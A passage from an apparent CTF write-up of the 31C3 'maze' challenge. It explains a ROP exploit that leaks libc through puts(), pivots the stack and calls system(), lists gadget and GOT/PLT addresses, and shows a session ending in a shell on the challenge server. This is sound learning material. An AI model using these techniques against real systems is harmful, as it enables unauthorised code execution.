we are able to both set RDX as a side-effect of the call to puts(), as well as leak a libc address that can be used to calculate the address of arbitrary libc functions. The fact that puts() also happens to set RDX as a side-effect was just a lucky coincidence, but if it hadn\u2019t, there were a number of other functions we could try to call for that purpose.<\/p>\n<p>Our original plan of simply returning into reached_goal(), right before the call to fopen(), is now obsolete. Since we have now leaked a libc address, we can simply use the read() in order to read a second stage ROP chain into a known location and then pivot the stack into that. The exploit will read the leaked address (a pointer to puts() in libc, by reading the GOT-entry for puts() in the address space of the non-PIE binary), calculate the base address of libc from that, and then the address of system(). Since we have just read arbitrary data into a known location, we can also place an arbitrary command string to be executed there, rather than using the \u201c\/bin\/sh\u201d string from libc. This also makes it more suitable for cases where we don\u2019t know which libc version is used on the target system, since we only have to bruteforce one offset (between puts() and system()) rather than also having to know the address of the \u201c\/bin\/sh\u201d string. Another possibility, in that case, would be to use puts()-calls to leak data at page-boundaries below the leaked puts()-address, in order to find the base address of libc, and then implement symbol resolving by parsing the ELF header. That was actually what I ended up doing on the cfy-challenge, after my attempts that assumed an Ubuntu 14.04 libc failed (it turned out to be Ubuntu 14.10). \ud83d\ude1b<\/p>\n<p>The only remaining piece of the puzzle at this point are gadgets to perform the stack pivot, into our second stage ROP chain. For this, we can use a \u201cpop rbp; ret\u201d gadget, that can be found at address 0x400AB0, in order to populate RBP. Then we use the \u201cleave; ret\u201d-equivalent in the function epilogue of reached_goal(), that I have already <a href=\"http:\/\/www.clevcode.org\/2015\/01\/#reached_goal\">mentioned<\/a> earlier, in order to point RSP into our second stage ROP chain. For the first stage ROP chain we also need a simple ret-gadget (such as the one at 0x400F64), since we do not know the exact offset into our buffer where the stack will be shifted (it will vary with each execution). By just filling the start of the buffer with addresses of ret-instructions, it will keep on returning until it reaches our ROP chain that we have placed right at the end of the buffer.<\/p>\n<p>To sum it up. The gadgets we need are:<\/p>\n<ul>\n<li>0x400F64: Prepended to ROP chain for \u201cNOP sled\u201d effect (ret)<\/li>\n<li>0x400F63: Set RDI, i.e. the 1st function argument (pop rdi; ret)<\/li>\n<li>0x400F61: Set RSI, i.e. the 2nd function argument (pop rsi; pop r15; ret)<\/li>\n<li>0x400AB0: Set RBP, to prepare for the stack pivot (pop rbp; ret)<\/li>\n<li>0x400E96: Stack pivot (lea rsp, [rbp-0x28]; pop {rbx,r12-r15,rbp}; ret)<\/li>\n<\/ul>\n<p>Note that the three first are all from the same function epilogue btw. \ud83d\ude42<\/p>\n<p>Besides these ROP gadgets, we also need:<\/p>\n<ul>\n<li>0x606028: GOT-entry for puts(), used to leak a libc address<\/li>\n<li>0x400850: PLT-entry for read(), returned into to read our 2nd stage ROP chain<\/li>\n<li>0x4007F0: PLT-entry for puts(), returned into to print the leaked address<\/li>\n<li>0x606XXX: Scratch buffer, that our 2nd stage ROP chain is read into<\/li>\n<\/ul>\n<p>Initially, I used 0x6060A0 as the scratch buffer address, i.e. the start of the .data section. That resulted into running out of stack space in system() though, since the memory below this address will be used as stack space for functions that we are returning into from our 2nd stage ROP chain. I changed it to 0x606500, to give the stack more room to grow, and now we finally have a full working exploit. \ud83d\ude42<\/p>\n<p>As a final touch, I implemented support for providing a full interactive pty-session rather than a lousy interactive shell with no job control. \ud83d\ude09 What good is pwning, if you can\u2019t run vim on your targets?! \ud83d\ude42<\/p>\n<p>Sample session:<\/p>\n<div id=\"crayon-57eb96174b25b975858905\" class=\"crayon-syntax crayon-theme-solarized-dark crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\">\n<div class=\"crayon-plain-wrap\"><\/div>\n<div class=\"crayon-main\">\n<table class=\"crayon-table\">\n<tbody>\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums \" data-settings=\"show\">\n<div class=\"crayon-nums-content\">\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b25b975858905-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b25b975858905-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b25b975858905-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b25b975858905-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b25b975858905-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b25b975858905-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b25b975858905-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b25b975858905-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b25b975858905-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b25b975858905-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b25b975858905-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b25b975858905-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b25b975858905-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b25b975858905-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b25b975858905-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b25b975858905-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b25b975858905-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b25b975858905-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b25b975858905-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b25b975858905-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b25b975858905-21\">21<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\">\n<div id=\"crayon-57eb96174b25b975858905-1\" class=\"crayon-line\"><span class=\"crayon-v\">je<\/span><span class=\"crayon-sy\">@<\/span><span class=\"crayon-v\">tiny<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-o\">~<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">31c3<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">pwn<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">maze<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">je<\/span><span class=\"crayon-sy\">$<\/span> <span class=\"crayon-sy\">.<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">maze<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">xpl<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-i\">py<\/span><\/div>\n<div id=\"crayon-57eb96174b25b975858905-2\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-sy\">]<\/span> <span class=\"crayon-e\">Extracting <\/span><span class=\"crayon-e\">maze <\/span><span class=\"crayon-e\">data <\/span><span class=\"crayon-e\">from <\/span><span class=\"crayon-e\">the <\/span><span class=\"crayon-i\">binary<\/span><\/div>\n<div id=\"crayon-57eb96174b25b975858905-3\" class=\"crayon-line\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-sy\">]<\/span> <span class=\"crayon-e\">Solving <\/span><span class=\"crayon-v\">maze<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div id=\"crayon-57eb96174b25b975858905-4\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-sy\">]<\/span> <span class=\"crayon-e\">Maze <\/span><span class=\"crayon-e\">solved <\/span><span class=\"crayon-st\">in<\/span> <span class=\"crayon-cn\">0.004<\/span> <span class=\"crayon-e\">seconds<\/span> <span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">518<\/span> <span class=\"crayon-v\">steps<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b25b975858905-5\" class=\"crayon-line\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-sy\">]<\/span> <span class=\"crayon-e\">Connecting <\/span><span class=\"crayon-st\">to<\/span> <span class=\"crayon-i\">target<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">188.40.18.71<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">1234<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div id=\"crayon-57eb96174b25b975858905-6\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-sy\">]<\/span> <span class=\"crayon-e\">Navigating <\/span><span class=\"crayon-e\">through <\/span><span class=\"crayon-v\">maze<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div id=\"crayon-57eb96174b25b975858905-7\" class=\"crayon-line\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-sy\">]<\/span> <span class=\"crayon-i\">Exploiting<\/span> <span class=\"crayon-cn\">1<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-t\">byte<\/span> <span class=\"crayon-e\">RBP <\/span><span class=\"crayon-i\">overflow<\/span><\/div>\n<div id=\"crayon-57eb96174b25b975858905-8\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-sy\">]<\/span> <span class=\"crayon-cn\">1st<\/span> <span class=\"crayon-e\">stage <\/span><span class=\"crayon-e\">ROP <\/span><span class=\"crayon-v\">payload<\/span><span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">Leak <\/span><span class=\"crayon-e\">puts<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span> <span class=\"crayon-e\">address <\/span><span class=\"crayon-e\">from <\/span><span class=\"crayon-v\">GOT<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-e\">read<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span> <span class=\"crayon-cn\">2nd<\/span> <span class=\"crayon-i\">stage<\/span><\/div>\n<div id=\"crayon-57eb96174b25b975858905-9\" class=\"crayon-line\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-sy\">]<\/span> <span class=\"crayon-e\">Leaked <\/span><span class=\"crayon-e\">puts<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span> <span class=\"crayon-v\">address<\/span><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-o\">:<\/span> <span class=\"crayon-cn\">0x7fe903606940<\/span><\/div>\n<div id=\"crayon-57eb96174b25b975858905-10\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-sy\">]<\/span> <span class=\"crayon-e\">Calculated <\/span><span class=\"crayon-e\">libc <\/span><span class=\"crayon-e\">base <\/span><span class=\"crayon-v\">address<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-cn\">0x7fe903596000<\/span><\/div>\n<div id=\"crayon-57eb96174b25b975858905-11\" class=\"crayon-line\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-sy\">]<\/span> <span class=\"crayon-e\">Calculated <\/span><span class=\"crayon-e\">system<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span> <span class=\"crayon-v\">address<\/span><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-o\">:<\/span> <span class=\"crayon-cn\">0x7fe9035dab30<\/span><\/div>\n<div id=\"crayon-57eb96174b25b975858905-12\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-sy\">]<\/span> <span class=\"crayon-cn\">2nd<\/span> <span class=\"crayon-e\">stage <\/span><span class=\"crayon-e\">ROP <\/span><span class=\"crayon-v\">payload<\/span><span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">Executing <\/span><span class=\"crayon-e\">commands <\/span><span class=\"crayon-e\">via <\/span><span class=\"crayon-e\">system<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b25b975858905-13\" class=\"crayon-line\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-sy\">]<\/span> <span class=\"crayon-e\">Total <\/span><span class=\"crayon-e\">exploit <\/span><span class=\"crayon-v\">time<\/span><span class=\"crayon-o\">:<\/span> <span class=\"crayon-cn\">0.345<\/span> <span class=\"crayon-i\">seconds<\/span><\/div>\n<div id=\"crayon-57eb96174b25b975858905-14\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-sy\">]<\/span> <span class=\"crayon-v\">Flag<\/span><span class=\"crayon-o\">:<\/span> <span class=\"crayon-cn\">31C3_Am<\/span><span class=\"crayon-sy\">@<\/span><span class=\"crayon-i\">z1ngM4z3AmazEsMeee<\/span><\/div>\n<div id=\"crayon-57eb96174b25b975858905-15\" class=\"crayon-line\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-sy\">]<\/span> <span class=\"crayon-e\">Dropping <\/span><span class=\"crayon-i\">into<\/span> <span class=\"crayon-i\">a<\/span> <span class=\"crayon-v\">shell<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div id=\"crayon-57eb96174b25b975858905-16\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b25b975858905-17\" class=\"crayon-line\"><span class=\"crayon-v\">user<\/span><span class=\"crayon-sy\">@<\/span><span class=\"crayon-cn\">31c3ctf<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">maze<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-sy\">$<\/span> <span class=\"crayon-v\">id<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-v\">uname<\/span> <span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-i\">a<\/span><\/div>\n<div id=\"crayon-57eb96174b25b975858905-18\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">uid<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">1000<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">user<\/span><span class=\"crayon-sy\">)<\/span> <span class=\"crayon-v\">gid<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">1000<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">user<\/span><span class=\"crayon-sy\">)<\/span> <span class=\"crayon-v\">groups<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">1000<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">user<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b25b975858905-19\" class=\"crayon-line\"><span class=\"crayon-i\">Linux<\/span> <span class=\"crayon-cn\">31c3ctf<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-i\">maze<\/span> <span class=\"crayon-cn\">3.16.0<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">28<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">generic<\/span> <span class=\"crayon-p\">#38-Ubuntu SMP Fri Dec 12 17:37:40 UTC 2014 x86_64 x86_64 x86_64 GNU\/Linux<\/span><\/div>\n<div id=\"crayon-57eb96174b25b975858905-20\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">user<\/span><span class=\"crayon-sy\">@<\/span><span class=\"crayon-cn\">31c3ctf<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">maze<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-sy\">$<\/span> <span class=\"crayon-v\">tty<\/span> <span class=\"crayon-p\"># Yeah, no lousy &#8216;bash -i&#8217; without a pty \ud83d\ude09<\/span><\/div>\n<div id=\"crayon-57eb96174b25b975858905-21\" class=\"crayon-line\"><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">dev<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">pts<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">5<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<p>Note that you may have to run it multiple times to succeed, due to ASLR. If arrow-up+enter is too cumbersome, just run while true; .\/maze-xpl.py; done \ud83d\ude42<\/p>\n<p>Source code for exploit provided below:<\/p>\n<div id=\"crayon-57eb96174b265901204425\" class=\"crayon-syntax crayon-theme-solarized-dark crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\">\n<div class=\"crayon-plain-wrap\"><\/div>\n<div class=\"crayon-main\">\n<table class=\"crayon-table\">\n<tbody>\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums \" data-settings=\"show\">\n<div class=\"crayon-nums-content\">\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-24\">24<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-25\">25<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-26\">26<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-27\">27<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-28\">28<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-29\">29<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-30\">30<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-31\">31<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-32\">32<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-33\">33<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-34\">34<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-35\">35<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-36\">36<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-37\">37<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-38\">38<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-39\">39<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-40\">40<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-41\">41<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-42\">42<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-43\">43<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-44\">44<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-45\">45<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-46\">46<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-47\">47<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-48\">48<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-49\">49<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-50\">50<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-51\">51<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-52\">52<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-53\">53<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-54\">54<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-55\">55<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-56\">56<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-57\">57<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-58\">58<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-59\">59<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-60\">60<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-61\">61<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-62\">62<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-63\">63<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-64\">64<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-65\">65<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-66\">66<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-67\">67<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-68\">68<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-69\">69<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-70\">70<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-71\">71<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-72\">72<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-73\">73<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-74\">74<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-75\">75<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-76\">76<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-77\">77<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-78\">78<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-79\">79<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-80\">80<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-81\">81<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-82\">82<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-83\">83<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-84\">84<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-85\">85<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-86\">86<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-87\">87<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-88\">88<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-89\">89<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-90\">90<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-91\">91<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-92\">92<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-93\">93<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-94\">94<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-95\">95<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-96\">96<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-97\">97<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-98\">98<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-99\">99<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-100\">100<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-101\">101<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-102\">102<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-103\">103<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-104\">104<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-105\">105<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-106\">106<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-107\">107<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-108\">108<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-109\">109<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-110\">110<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-111\">111<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-112\">112<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-113\">113<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-114\">114<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-115\">115<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-116\">116<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-117\">117<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-118\">118<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-119\">119<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-120\">120<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-121\">121<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-122\">122<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-123\">123<\/div>\n<div class=\"crayon-num 